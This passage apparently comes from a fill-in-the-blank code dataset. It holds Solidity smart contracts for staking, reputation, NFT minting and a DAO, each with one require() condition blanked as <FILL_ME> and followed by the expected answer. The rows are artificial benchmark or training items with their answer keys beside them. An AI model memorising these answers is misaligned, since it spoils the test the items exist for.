require(_token.transfer(teamWallet3, share), "Transfer failed");
require(<FILL_ME>)
}
}
| _token.transfer(teamWallet4,share),"Transfer failed" | 489,220 | _token.transfer(teamWallet4,share) |
"invalid _tokenToDaiSwapPath" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
import "../SimpleStakingV2.sol";
import "../../Interfaces.sol";
import "../../utils/DataTypes.sol";
import "../UniswapV2SwapHelper.sol";
/**
* @title Staking contract that donates earned interest to the DAO
* allowing stakers to deposit Token
* or withdraw their stake in Token
* the contracts buy cToken and can transfer the daily interest to the DAO
*/
contract GoodAaveStakingV2 is SimpleStakingV2 {
using UniswapV2SwapHelper for IHasRouter;
// Address of the TOKEN/USD oracle from chainlink
address public tokenUsdOracle;
//LendingPool of aave
ILendingPool public lendingPool;
//Address of the AaveIncentivesController
IAaveIncentivesController public incentiveController;
//address of the AAVE/USD oracle
address public aaveUSDOracle;
// Gas cost to collect interest from this staking contract
uint32 public collectInterestGasCost;
// Gas cost to claim stkAave rewards
uint32 public stkAaveClaimGasCost;
address[] public tokenToDaiSwapPath;
/**
* @param _token Token to swap DEFI token
* @param _lendingPool LendingPool address
* @param _ns Address of the NameService
* @param _tokenName Name of the staking token which will be provided to staker for their staking share
* @param _tokenSymbol Symbol of the staking token which will be provided to staker for their staking share
* @param _tokenSymbol Determines blocks to pass for 1x Multiplier
* @param _tokenUsdOracle address of the TOKEN/USD oracle
* @param _incentiveController Aave incentive controller which provides AAVE rewards
* @param _aaveUSDOracle address of the AAVE/USD oracle
*/
function init(
address _token,
address _lendingPool,
INameService _ns,
string memory _tokenName,
string memory _tokenSymbol,
uint64 _maxRewardThreshold,
address _tokenUsdOracle,
IAaveIncentivesController _incentiveController,
address _aaveUSDOracle,
address[] memory _tokenToDaiSwapPath
) public {
lendingPool = ILendingPool(_lendingPool);
DataTypes.ReserveData memory reserve = lendingPool.getReserveData(_token);
initialize(
_token,
reserve.aTokenAddress,
_ns,
_tokenName,
_tokenSymbol,
_maxRewardThreshold
);
require(<FILL_ME>)
tokenToDaiSwapPath = _tokenToDaiSwapPath;
//above initialize going to revert on second call, so this is safe
tokenUsdOracle = _tokenUsdOracle;
incentiveController = _incentiveController;
aaveUSDOracle = _aaveUSDOracle;
collectInterestGasCost = 250000;
stkAaveClaimGasCost = 50000;
_approveTokens();
}
/**
* @dev stake some Token
* @param _amount of Token to stake
*/
function mintInterestToken(uint256 _amount) internal override {
}
/**
* @dev redeem Token from aave
* @param _amount of token to redeem in Token
*/
function redeem(uint256 _amount) internal override {
}
/**
* @dev Function to redeem aToken for DAI, so reserve knows how to handle it. (reserve can handle dai or cdai)
* also transfers stkaave to reserve
* @dev _amount of token in iToken
* @dev _recipient recipient of the DAI
* @return actualTokenGains amount of token redeemed for dai,
actualRewardTokenGains amount of reward token earned,
daiAmount total dai received
*/
function redeemUnderlyingToDAI(uint256 _amount, address _recipient)
internal
override
returns (
uint256 actualTokenGains,
uint256 actualRewardTokenGains,
uint256 daiAmount
)
{
}
/**
* @dev returns decimals of token.
*/
function tokenDecimal() internal view override returns (uint256) {
}
/**
* @dev returns decimals of interest token.
*/
function iTokenDecimal() internal view override returns (uint256) {
}
/**
* @dev Function that calculates current interest gains of this staking contract
* @param _returnTokenBalanceInUSD determine return token balance of staking contract in USD
* @param _returnTokenGainsInUSD determine return token gains of staking contract in USD
* @return iTokenGains gains in iToken, tokenGains gains in token, tokenBalance current balance , balanceInUSD, tokenGainsInUSD
*/
function currentGains(
bool _returnTokenBalanceInUSD,
bool _returnTokenGainsInUSD
)
public
view
override
returns (
uint256 iTokenGains,
uint256 tokenGains,
uint256 tokenBalance,
uint256 balanceInUSD,
uint256 tokenGainsInUSD
)
{
}
/**
* @dev Function to get interest transfer cost for this particular staking contract
*/
function getGasCostForInterestTransfer()
external
view
override
returns (uint32)
{
}
/**
* @dev Set Gas cost to interest collection for this contract
* @param _collectInterestGasCost Gas cost to collect interest
* @param _rewardTokenCollectCost gas cost to collect reward tokens
*/
function setcollectInterestGasCostParams(
uint32 _collectInterestGasCost,
uint32 _rewardTokenCollectCost
) external {
}
/**
* @dev Calculates worth of given amount of iToken in Token
* @param _amount Amount of token to calculate worth in Token
* @return Worth of given amount of token in Token
*/
function iTokenWorthInToken(uint256 _amount)
internal
view
override
returns (uint256)
{
}
function _approveTokens() internal {
}
}
| _tokenToDaiSwapPath[0]==_token&&_tokenToDaiSwapPath[_tokenToDaiSwapPath.length-1]==nameService.getAddress("DAI"),"invalid _tokenToDaiSwapPath" | 489,345 | _tokenToDaiSwapPath[0]==_token&&_tokenToDaiSwapPath[_tokenToDaiSwapPath.length-1]==nameService.getAddress("DAI") |
"reputation overflow" | // SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.8.0;
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "../utils/DAOUpgradeableContract.sol";
/**
* based on https://github.com/daostack/infra/blob/60a79a1be02942174e21156c3c9655a7f0695dbd/contracts/Reputation.sol
* @title Reputation system
* @dev A DAO has Reputation System which allows peers to rate other peers in order to build trust .
* A reputation is used to assign influence measure to a DAO'S peers.
* Reputation is similar to regular tokens but with one crucial difference: It is non-transferable.
* The Reputation contract maintain a map of address to reputation value.
* It provides an only minter role functions to mint and burn reputation _to (or _from) a specific address.
*/
contract Reputation is DAOUpgradeableContract, AccessControlUpgradeable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string public name;
string public symbol;
uint8 public decimals; //Number of decimals of the smallest unit
// Event indicating minting of reputation to an address.
event Mint(address indexed _to, uint256 _amount);
// Event indicating burning of reputation for an address.
event Burn(address indexed _from, uint256 _amount);
uint256 private constant ZERO_HALF_256 = 0xffffffffffffffffffffffffffffffff;
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
//Checkpoint is uint256 :
// bits 0-127 `fromBlock` is the block number that the value was generated from
// bits 128-255 `value` is the amount of reputation at a specific block number
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping(address => uint256[]) public balances;
// Tracks the history of the `totalSupply` of the reputation
uint256[] public totalSupplyHistory;
/**
* @dev initialize
*/
function initialize(INameService _ns) public initializer {
}
function __Reputation_init(INameService _ns) internal {
}
function _canMint() internal view virtual {
}
/// @notice Generates `_amount` reputation that are assigned to `_owner`
/// @param _user The address that will be assigned the new reputation
/// @param _amount The quantity of reputation generated
/// @return True if the reputation are generated correctly
function mint(address _user, uint256 _amount) public returns (bool) {
}
function _mint(address _user, uint256 _amount)
internal
virtual
returns (uint256)
{
}
/// @notice Burns `_amount` reputation from `_owner`
/// @param _user The address that will lose the reputation
/// @param _amount The quantity of reputation to burn
/// @return True if the reputation are burned correctly
function burn(address _user, uint256 _amount) public returns (bool) {
}
function _burn(address _user, uint256 _amount)
internal
virtual
returns (uint256)
{
}
function balanceOfLocal(address _owner) public view returns (uint256) {
}
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfLocalAt(address _owner, uint256 _blockNumber)
public
view
virtual
returns (uint256)
{
}
function totalSupplyLocal() public view virtual returns (uint256) {
}
/// @notice Total amount of reputation at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of reputation at `_blockNumber`
function totalSupplyLocalAt(uint256 _blockNumber)
public
view
virtual
returns (uint256)
{
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of reputation at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of reputation being queried
function getValueAt(uint256[] storage checkpoints, uint256 _block)
internal
view
returns (uint256)
{
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of reputation
function updateValueAtNow(uint256[] storage checkpoints, uint256 _value)
internal
{
require(<FILL_ME>) //check value is in the 128 bits bounderies
if (
(checkpoints.length == 0) ||
(uint128(checkpoints[checkpoints.length - 1]) < block.number)
) {
checkpoints.push(uint256(uint128(block.number)) | (_value << 128));
} else {
checkpoints[checkpoints.length - 1] = uint256(
(checkpoints[checkpoints.length - 1] & uint256(ZERO_HALF_256)) |
(_value << 128)
);
}
}
}
| uint128(_value)==_value,"reputation overflow" | 489,346 | uint128(_value)==_value |
"Pay fee fail" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "./ERC721A.sol";
import "./ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./libraries/Verify.sol";
contract TrueDropMysteryBoxERC721A is
ERC721A,
ERC2981,
ReentrancyGuard,
Ownable
{
uint256 _maxSupply = 10000;
uint256 _mintFee = 0;
uint96 _royaltyFee = 500;
string _name = "TrueDrop Mystery Box";
string _symbol = "TRUEBOX";
address _signer;
address _feeReceiver;
string _contractURI;
mapping(address => uint256) internal _minted;
mapping(address => bool) _operators;
mapping(address => uint256) internal _whitelist;
event TrueDropMysteryBoxMinted(address owner, uint256 quantity);
constructor(
address feeReceiver,
address signer,
string memory mContractURI,
string memory baseURI
) payable ERC721A(_name, _symbol) {
}
function _startTokenId() internal pure override returns (uint256) {
}
function setBaseUri(string memory uri) external onlyOwner {
}
function setFeeReceiver(address feeReceiver) external onlyOwner {
}
/// @notice This function is used to get current contractURI
/// @dev This function is used to get current contractURI
function contractURI() external view returns (string memory) {
}
/// @notice This function is used to get current maxSupply
/// @dev This function is used to get current maxSupply
function maxSupply() external view returns (uint256) {
}
/// @notice This function is allow owner set signer
/// @dev This function is allow owner set operator
/// @param signer address will be apply new update once executed
function setSigner(address signer) external onlyOwner {
}
/// @notice This function is allow owner set current mintFee
/// @dev This function is allow owner set current mintFee
/// @param mintFee uint256 new fee will be apply once executed
function setMintFee(uint256 mintFee) external onlyOwner {
}
/// @notice This function is used to get current mintFee
/// @dev This function is used to get current mintFee
function getMintFee() public view returns (uint256) {
}
/// @notice This function is used to get current whitelist can mint, and minted quantity
/// @dev This function is used to get current whitelist can mint, and minted quantity
/// @param userAddress address of user need to check
function getMintedAmount(address userAddress)
public
view
returns (uint256)
{
}
/// @notice This function is used to mint NFT
/// @dev This function is used to mint NFT
/// @param quota uint256 quantity of max whitelist
/// @param quantity uint256 quantity of NFT will be minted once executed
function mintNFT(
bytes memory signature,
uint256 quota,
uint256 quantity
) external payable {
uint256 minted = _minted[msg.sender];
require(totalSupply() + quantity <= _maxSupply, "Out of stock");
require(quota > minted, "Invalid quota");
require(quantity > 0, "Invalid quantity");
require(quantity <= quota - minted, "Over limit");
if (_mintFee > 0) {
require(msg.value == _mintFee * quantity, "Not enough fee");
require(<FILL_ME>)
}
Verify.verifySignature(
keccak256(abi.encodePacked(msg.sender, quota, " ", quantity)),
signature,
_signer
);
_minted[msg.sender] += quantity;
_safeMint(msg.sender, quantity);
emit TrueDropMysteryBoxMinted(msg.sender, quantity);
}
/// @notice This function is used internally for send the native tokens to other accounts
/// @dev This function is used internally for send the the native tokens to other accounts
/// @param to address is the address that will receive the _amount
/// @param amount uint256 value involved in the deal
/// @return true or false if the transfer worked out
function transferFees(address to, uint256 amount) internal returns (bool) {
}
/// @notice This function allows the owner to set default royalties following EIP-2981 royalty standard.
/// @dev This function allows the owner to set default royalties following EIP-2981 royalty standard.
/// @param feeNumerator uint96 value of fee
function setDefaultRoyalty(uint96 feeNumerator) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, ERC2981)
returns (bool)
{
}
}
| transferFees(_feeReceiver,_mintFee*quantity),"Pay fee fail" | 489,789 | transferFees(_feeReceiver,_mintFee*quantity) |
"Only deploying wallet can call this function" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;
import "./IApolloToken.sol";
import "./third-party/UniswapV2Library.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/// @title The DAO contract for the Apollo Inu token
contract ApolloDAO is Context {
/// @notice The address & interface of the apollo token contract
IApolloToken public immutable apolloToken;
/// @notice The address of the wETH contract. Used to determine minimum balances.
address public immutable wethAddress;
/// @notice The addres of the USDC contract. Used to determine minimum balances.
address public immutable usdcAddress;
/// @notice Address of the Uniswap v2 factory used to create the pairs
address public immutable uniswapFactory;
/// @notice Event that is emitted when a new DAO is nominated
event NewDAONomination(address indexed newDAO, address indexed nominator);
/// @notice Event that is emitted when a new vote is submitted
event VoteSubmitted(address indexed newDAO, address indexed voter, uint256 voteAmount, bool voteFor);
/// @notice Event that is emitted when a vote is withdrawn
event VoteWithdrawn(address indexed newDAO, address indexed voter);
/// @notice Event that is emitted when voting is closed for a nominated DAO
event VotingClosed(address indexed newDAO, bool approved);
/// @notice Event that is emitted when a cycle has ended and a winner selected
event CycleWinnerSelected(address winner, uint256 reward, string summary);
/// @notice A record of the current state of a DAO nomination
struct DAONomination {
/// The timestamp (i.e. `block.timestamp`) that the nomination was created
uint256 timeOfNomination;
/// The account that made the nomination
address nominator;
/// The total amount of votes in favor of the nomination
uint256 votesFor;
/// The total amount of votes against the nomination
uint256 votesAgainst;
/// Whether voting has closed for this nomination
bool votingClosed;
}
/// @notice A description of a single vote record by a particular account for a nomination
struct DAOVotes {
/// The count of tokens committed to this vote
uint256 voteCount;
/// Whether an account voted in favor of the nomination
bool votedFor;
}
struct LeadCandidate {
address candidate;
uint256 voteCount;
uint256 voteCycle;
}
/// @dev A mapping of the contract address of a nomination to the nomination state
mapping (address => DAONomination) private _newDAONominations;
/// @dev A mapping of the vote record by an account for a nominated DAO
mapping (address => mapping (address => DAOVotes)) private _lockedVotes;
/// @notice The minimum voting duration for a particular nomination (three days).
uint256 public constant daoVotingDuration = 300;
/// @notice The minimum amount of Apollo an account must hold to submit a new nomination
uint256 public constant minimumDAOBalance = 20000000000 * 10**9;
/// @notice The total amount of votes—and thus Apollo tokens—that are currently held by this DAO
uint256 public totalLockedVotes;
/// @notice The total number of DAO nominations that are open for voting
uint256 public activeDAONominations;
/// @notice The address of the new approved DAO that will be eligible to replace this DAO
address public approvedNewDAO = address(0);
/// @notice The address of the privileged admin that can decide contests
address public immutable admin;
/// @notice The minimum amount of time after a new DAO is approved before it can be activated as the
/// next effective DAO (two days).
uint256 public constant daoUpdateDelay = 300;
/// @notice The timestamp when the new DAO was approved
uint256 public daoApprovedTime;
/// @notice Boolean to track when to stop contests
bool public continueContests = true;
/// @notice The IPFS summary of every cycle
mapping(uint256 => string) public votingSummary;
/// @notice The total duration in seconds of one voting cycle
uint256 public constant votingCyleLength = 604800;
/// @notice The timestamp when the current voting cycle ends
uint256 public currentVotingCycleEnd;
LeadCandidate public leadVoteRecipient;
///@notice The percent of the DAO balance that the winnings cannot exceed
uint256 public maxBalancePercentage = 98;
/// @notice The amount of Apollo each vote is worth (5M Apollo)
uint256 public voteAwardMultiplier = 70000000 * 10**9;
/// @notice The % of the winnings to be burned. (1%)
uint256 public awardBurnPercentage = 1;
/// @notice The % of the DAO pool to be given to the dev wallet. (.5%)
uint256 public devWalletPerMille = 5;
/// @notice The wallet used to fund the Apollo DAO development
address public immutable devWallet;
/// @notice The minimum value of Apollo in USDC required to vote
uint256 public minimumUSDValueToVote = 50 * 10**6;
/// @notice The minimum value of Apollo in USDC required to nominate
uint256 public minimumUSDValueToNominate = 75 * 10**6;
/// @notice The percentage of vote withdrawls to burn
uint256 public constant daoVoteBurnPercentage = 1;
/// @notice The wallet that will control contest parameters
address public immutable deployingWallet;
constructor(address tokenAddress, address _wethAddress, address _usdcAddress, address _devWallet, address _admin, address _deployingWallet) {
}
// Modifiers
modifier onlyAdmin(){
}
modifier onlyDeployingWallet(){
require(<FILL_ME>)
_;
}
// Public functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function minimumVoteBalance() public view returns (uint256) {
}
/// @notice The minimum amount of Apollo an account must hold to submit a nomination
function minimumNominationBalance() public view returns (uint256) {
}
function completeCycle(address _candidate, uint256 _voteCount, string memory voteSummary) public onlyAdmin{
}
/// @notice Cast a vote for an active nominated DAO
/// @param voteAmount The amount of Apollo to commit to your vote
/// @param newDAO The address of the nominated DAO to cast a vote for
/// @param voteFor Whether you want to vote in favor of the nomination
function voteForDAONomination(uint256 voteAmount, address newDAO, bool voteFor) external {
}
/// @notice Withdraw votes you have previously cast for a nomination. This can be called regardless of
/// whether a nomination is active. If still active, your votes will no longer count in the final tally.
/// @param newDAO The address of the nomination to withdraw your votes from
function withdrawNewDAOVotes(address newDAO) external {
}
/// @notice Submit a nomination for a new DAO contract
/// @param newDAO The address of the new DAO contract you wish to nominate
function nominateNewDAO(address newDAO) external {
}
/// @notice Close voting for the provided nomination, preventing any future votes
/// @param newDAO The address of the nomination to close voting for
function closeNewDAOVoting(address newDAO) external {
}
/// @notice Update the address of the active DAO in the Apollo token contract
/// @dev This function may only be called after a new DAO is approved and after the update delay has elapsed
function updateDAOAddress() external {
}
/// @notice Reflects any contract balance left behinf
///@param amountToReflect is the amount to reflect. Set to 0 to reflect entire balance
function reflectBalance(uint256 amountToReflect) external {
}
/// @notice The time the provided DAO address was nominated
/// @param dao The DAO address that was previously nominated
function daoNominationTime(address dao) external view returns (uint256){
}
/// @notice The account that nominated the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationNominator(address dao) external view returns (address){
}
/// @notice The amount of votes in favor of a nomination
/// @param dao The DAO address to check
function daoNominationVotesFor(address dao) external view returns (uint256){
}
/// @notice The amount of votes against a nomination
/// @param dao The DAO address to check
function daoNominationVotesAgainst(address dao) external view returns (uint256){
}
/// @notice Whether voting is closed for the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationVotingClosed(address dao) external view returns (bool){
}
/// @notice The amount of votes pledged by the provided voter for the provided DAO nomination
/// @param voter The address who cast a vote for the DAO
/// @param dao The address of the nominated DAO to check
function checkAddressVoteAmount(address voter, address dao) external view returns (uint256){
}
function checkDAOAddressVote(address voter, address dao) external view returns (bool){
}
// Functions for changing contest parameters
function setVoteMultiplier(uint256 newMultiplier) external onlyDeployingWallet(){
}
function setMaxBalancePercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setMinimumVoteDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setMinimumNominationDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setBurnPercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setDevWalletPerMille(uint256 newPerMille) external onlyDeployingWallet(){
}
function pullApolloFunds(address recipient, uint256 amountToSend) external onlyDeployingWallet(){
}
// Internal functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function _apolloAmountFromUSD(uint256 _usdAmount) internal view returns (uint256) {
}
}
| _msgSender()==deployingWallet,"Only deploying wallet can call this function" | 489,817 | _msgSender()==deployingWallet |
"There is no DAO Nomination for this address" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;
import "./IApolloToken.sol";
import "./third-party/UniswapV2Library.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/// @title The DAO contract for the Apollo Inu token
contract ApolloDAO is Context {
/// @notice The address & interface of the apollo token contract
IApolloToken public immutable apolloToken;
/// @notice The address of the wETH contract. Used to determine minimum balances.
address public immutable wethAddress;
/// @notice The addres of the USDC contract. Used to determine minimum balances.
address public immutable usdcAddress;
/// @notice Address of the Uniswap v2 factory used to create the pairs
address public immutable uniswapFactory;
/// @notice Event that is emitted when a new DAO is nominated
event NewDAONomination(address indexed newDAO, address indexed nominator);
/// @notice Event that is emitted when a new vote is submitted
event VoteSubmitted(address indexed newDAO, address indexed voter, uint256 voteAmount, bool voteFor);
/// @notice Event that is emitted when a vote is withdrawn
event VoteWithdrawn(address indexed newDAO, address indexed voter);
/// @notice Event that is emitted when voting is closed for a nominated DAO
event VotingClosed(address indexed newDAO, bool approved);
/// @notice Event that is emitted when a cycle has ended and a winner selected
event CycleWinnerSelected(address winner, uint256 reward, string summary);
/// @notice A record of the current state of a DAO nomination
struct DAONomination {
/// The timestamp (i.e. `block.timestamp`) that the nomination was created
uint256 timeOfNomination;
/// The account that made the nomination
address nominator;
/// The total amount of votes in favor of the nomination
uint256 votesFor;
/// The total amount of votes against the nomination
uint256 votesAgainst;
/// Whether voting has closed for this nomination
bool votingClosed;
}
/// @notice A description of a single vote record by a particular account for a nomination
struct DAOVotes {
/// The count of tokens committed to this vote
uint256 voteCount;
/// Whether an account voted in favor of the nomination
bool votedFor;
}
struct LeadCandidate {
address candidate;
uint256 voteCount;
uint256 voteCycle;
}
/// @dev A mapping of the contract address of a nomination to the nomination state
mapping (address => DAONomination) private _newDAONominations;
/// @dev A mapping of the vote record by an account for a nominated DAO
mapping (address => mapping (address => DAOVotes)) private _lockedVotes;
/// @notice The minimum voting duration for a particular nomination (three days).
uint256 public constant daoVotingDuration = 300;
/// @notice The minimum amount of Apollo an account must hold to submit a new nomination
uint256 public constant minimumDAOBalance = 20000000000 * 10**9;
/// @notice The total amount of votes—and thus Apollo tokens—that are currently held by this DAO
uint256 public totalLockedVotes;
/// @notice The total number of DAO nominations that are open for voting
uint256 public activeDAONominations;
/// @notice The address of the new approved DAO that will be eligible to replace this DAO
address public approvedNewDAO = address(0);
/// @notice The address of the privileged admin that can decide contests
address public immutable admin;
/// @notice The minimum amount of time after a new DAO is approved before it can be activated as the
/// next effective DAO (two days).
uint256 public constant daoUpdateDelay = 300;
/// @notice The timestamp when the new DAO was approved
uint256 public daoApprovedTime;
/// @notice Boolean to track when to stop contests
bool public continueContests = true;
/// @notice The IPFS summary of every cycle
mapping(uint256 => string) public votingSummary;
/// @notice The total duration in seconds of one voting cycle
uint256 public constant votingCyleLength = 604800;
/// @notice The timestamp when the current voting cycle ends
uint256 public currentVotingCycleEnd;
LeadCandidate public leadVoteRecipient;
///@notice The percent of the DAO balance that the winnings cannot exceed
uint256 public maxBalancePercentage = 98;
/// @notice The amount of Apollo each vote is worth (5M Apollo)
uint256 public voteAwardMultiplier = 70000000 * 10**9;
/// @notice The % of the winnings to be burned. (1%)
uint256 public awardBurnPercentage = 1;
/// @notice The % of the DAO pool to be given to the dev wallet. (.5%)
uint256 public devWalletPerMille = 5;
/// @notice The wallet used to fund the Apollo DAO development
address public immutable devWallet;
/// @notice The minimum value of Apollo in USDC required to vote
uint256 public minimumUSDValueToVote = 50 * 10**6;
/// @notice The minimum value of Apollo in USDC required to nominate
uint256 public minimumUSDValueToNominate = 75 * 10**6;
/// @notice The percentage of vote withdrawls to burn
uint256 public constant daoVoteBurnPercentage = 1;
/// @notice The wallet that will control contest parameters
address public immutable deployingWallet;
constructor(address tokenAddress, address _wethAddress, address _usdcAddress, address _devWallet, address _admin, address _deployingWallet) {
}
// Modifiers
modifier onlyAdmin(){
}
modifier onlyDeployingWallet(){
}
// Public functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function minimumVoteBalance() public view returns (uint256) {
}
/// @notice The minimum amount of Apollo an account must hold to submit a nomination
function minimumNominationBalance() public view returns (uint256) {
}
function completeCycle(address _candidate, uint256 _voteCount, string memory voteSummary) public onlyAdmin{
}
/// @notice Cast a vote for an active nominated DAO
/// @param voteAmount The amount of Apollo to commit to your vote
/// @param newDAO The address of the nominated DAO to cast a vote for
/// @param voteFor Whether you want to vote in favor of the nomination
function voteForDAONomination(uint256 voteAmount, address newDAO, bool voteFor) external {
require(<FILL_ME>)
require(_lockedVotes[_msgSender()][newDAO].voteCount == 0, "User already voted on this nomination");
require(approvedNewDAO == address(0), "There is already an approved new DAO");
apolloToken.transferFrom(_msgSender(), address(this), voteAmount);
totalLockedVotes += voteAmount;
_lockedVotes[_msgSender()][newDAO].voteCount += voteAmount;
_lockedVotes[_msgSender()][newDAO].votedFor = voteFor;
if(voteFor){
_newDAONominations[newDAO].votesFor += voteAmount;
} else {
_newDAONominations[newDAO].votesAgainst += voteAmount;
}
emit VoteSubmitted(newDAO, _msgSender(), voteAmount, voteFor);
}
/// @notice Withdraw votes you have previously cast for a nomination. This can be called regardless of
/// whether a nomination is active. If still active, your votes will no longer count in the final tally.
/// @param newDAO The address of the nomination to withdraw your votes from
function withdrawNewDAOVotes(address newDAO) external {
}
/// @notice Submit a nomination for a new DAO contract
/// @param newDAO The address of the new DAO contract you wish to nominate
function nominateNewDAO(address newDAO) external {
}
/// @notice Close voting for the provided nomination, preventing any future votes
/// @param newDAO The address of the nomination to close voting for
function closeNewDAOVoting(address newDAO) external {
}
/// @notice Update the address of the active DAO in the Apollo token contract
/// @dev This function may only be called after a new DAO is approved and after the update delay has elapsed
function updateDAOAddress() external {
}
/// @notice Reflects any contract balance left behinf
///@param amountToReflect is the amount to reflect. Set to 0 to reflect entire balance
function reflectBalance(uint256 amountToReflect) external {
}
/// @notice The time the provided DAO address was nominated
/// @param dao The DAO address that was previously nominated
function daoNominationTime(address dao) external view returns (uint256){
}
/// @notice The account that nominated the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationNominator(address dao) external view returns (address){
}
/// @notice The amount of votes in favor of a nomination
/// @param dao The DAO address to check
function daoNominationVotesFor(address dao) external view returns (uint256){
}
/// @notice The amount of votes against a nomination
/// @param dao The DAO address to check
function daoNominationVotesAgainst(address dao) external view returns (uint256){
}
/// @notice Whether voting is closed for the provided DAO address
/// @param dao The DAO address that was previously nominated
function daoNominationVotingClosed(address dao) external view returns (bool){
}
/// @notice The amount of votes pledged by the provided voter for the provided DAO nomination
/// @param voter The address who cast a vote for the DAO
/// @param dao The address of the nominated DAO to check
function checkAddressVoteAmount(address voter, address dao) external view returns (uint256){
}
function checkDAOAddressVote(address voter, address dao) external view returns (bool){
}
// Functions for changing contest parameters
function setVoteMultiplier(uint256 newMultiplier) external onlyDeployingWallet(){
}
function setMaxBalancePercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setMinimumVoteDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setMinimumNominationDollarAmount(uint256 newDollarAmount) external onlyDeployingWallet(){
}
function setBurnPercentage(uint256 newPercentage) external onlyDeployingWallet(){
}
function setDevWalletPerMille(uint256 newPerMille) external onlyDeployingWallet(){
}
function pullApolloFunds(address recipient, uint256 amountToSend) external onlyDeployingWallet(){
}
// Internal functions
/// @notice The minimum amount of Apollo an account must hold to submit a vote
function _apolloAmountFromUSD(uint256 _usdAmount) internal view returns (uint256) {
}
}
| _newDAONominations[newDAO].timeOfNomination>0,"There is no DAO Nomination for this address" | 489,817 | _newDAONominations[newDAO].timeOfNomination>0 |
"User already voted on this nomination" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.3;
import "./IApolloToken.sol";
import "./third-party/UniswapV2Library.sol";
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/// @title The DAO contract for the Apollo Inu token
contract ApolloDAO is Context {
/// @notice The address & interface of the apollo token contract
IApolloToken public immutable apolloToken;
/// @notice The address of the wETH contract. Used to determine minimum balances.
address public immutable wethAddress;
/// @notice The addres of the USDC contract. Used to determine minimum balances.
address public immutable usdcAddress;
/// @notice Address of the Uniswap v2 factory used to create the pairs
address public immutable uniswapFactory;
/// @notice Event that is emitted when a new DAO is nominated
event NewDAONomination(address indexed newDAO, address indexed nominator);
/// @notice Event that is emitted when a new vote is submitted
event VoteSubmitted(address indexed newDAO, address indexed voter, uint256 voteAmount, bool voteFor);
/// @notice Event that is emitted when a vote is withdrawn
event VoteWithdrawn(address indexed newDAO, address indexed voter);
/// @notice Event that is emitted when voting is closed for a nominated DAO
event VotingClosed(address indexed newDAO, bool approved);
/// @notice Event that is emitted when a cycle has ended and a winner selected
event CycleWinnerSelected(address winner, uint256 reward, string summary);
/// @notice A record of the current state of a DAO nomination
struct DAONomination {
/// The timestamp (i.e. `block.timestamp`) that the nomination was created
uint256 timeOfNomination;
/// The account that made the nomination
address nominator;
/// The total amount of votes in favor of the nomination
uint256 votesFor;
/// The total amount of votes against the nomination
uint256 votesAgainst;
/// Whether voting has closed for this nomination
bool votingClosed;
}
/// @notice A description of a single vote record by a particular account for a nomination
struct DAOVotes {
/// The count of tokens committed to this vote
uint256 voteCount;
/// Whether an account voted in favor of the nomination
bool votedFor;
}
struct LeadCandidate {
address candidate;
uint256 voteCount;
uint256 voteCycle;
}
/// @dev A mapping of the contract address of a nomination to the nomination state
mapping (address => DAONomination) private _newDAONominations;
/// @dev A mapping of the vote record by an account for a nominated DAO
mapping (address => mapping (address => DAOVotes)) private _lockedVotes;
/// @notice The minimum voting duration for a particular nomination (three days).
uint256 public constant daoVotingDuration = 300;
/// @notice The minimum amount of Apollo an account must hold to submit a new nomination
uint256 public constant minimumDAOBalance = 20000000000 * 10**9;
/// @notice The total amount of votes—and thus Apollo tokens—that are currently held by this DAO
uint256 public totalLockedVotes;
/// @notice The total number of DAO nominations that are open for voting
uint256 public activeDAONominations;
/// @notice The address of the new approved DAO that will be eligible to replace this DAO
address public approvedNewDAO = address(0);
/// @notice The address of the privileged admin that can decide contests
address public immutable admin;
/// @notice The minimum amount of time after a new DAO is approved before it can be activated as the
/// next effective DAO (two days).
uint256 public constant daoUpdateDelay = 300;
/// @notice The timestamp when the new DAO was approved
uint256 public daoApprovedTime;
/// @notice Boolean to track when to stop contests
bool public continueContests = true;
/// @notice The IPFS summary of every cycle
mapping(uint256 => string) public votingSummary;
/// @notice The total duration in seconds of one voting cycle
uint256 public constant votingCyleLength = 604800;
/// @notice The timestamp when the current voting cycle ends
